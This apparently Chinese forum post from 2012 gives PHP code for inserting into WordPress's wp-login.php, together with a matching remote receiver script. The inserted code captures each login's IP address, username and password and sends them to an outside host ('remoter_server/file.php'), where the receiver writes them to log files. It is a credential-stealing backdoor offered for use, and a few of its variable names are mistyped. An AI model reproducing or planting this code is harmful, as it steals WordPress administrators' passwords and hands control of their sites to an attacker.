本帖最后由 lostwolf 于 2012-5-11 19:15 编辑
[code="php"]
wp-login.php
/************
- 在下面注释代码之间插入
//if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) {
$ip = $_SERVER['REMOTE_ADDR'];
$url = "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$body="His IP= ".$ip." -------Get Time =" . date('Y-m-d H:i:s')."-------admin_path=".url."-------name="._POST['log']."-------password=".$_POST['pwd'];
$body=urlencode($body);
$yum = 'http://remoter_server/file.php?get_info='.$body;
@file_get_contents($yum);
/***********
- 远程接收端
- file.php
<?php
$qm=$_GET['get_info'];
$text=urldecode($qm);
preg_match_all('/http:\/\/[a-zA-Z0-9._-]*/',$text,$str);
$host=$str[0][0];
$host=parse_url($host);
$host=$host['host'];
$name=$host.'_'.date('Y-m-d').'.log';
if(isset($qm))
{
$fp=fopen($name,'a+');
fwrite($fp,$qm."\n");
}
else
{
echo "Access Denied!";
}
?>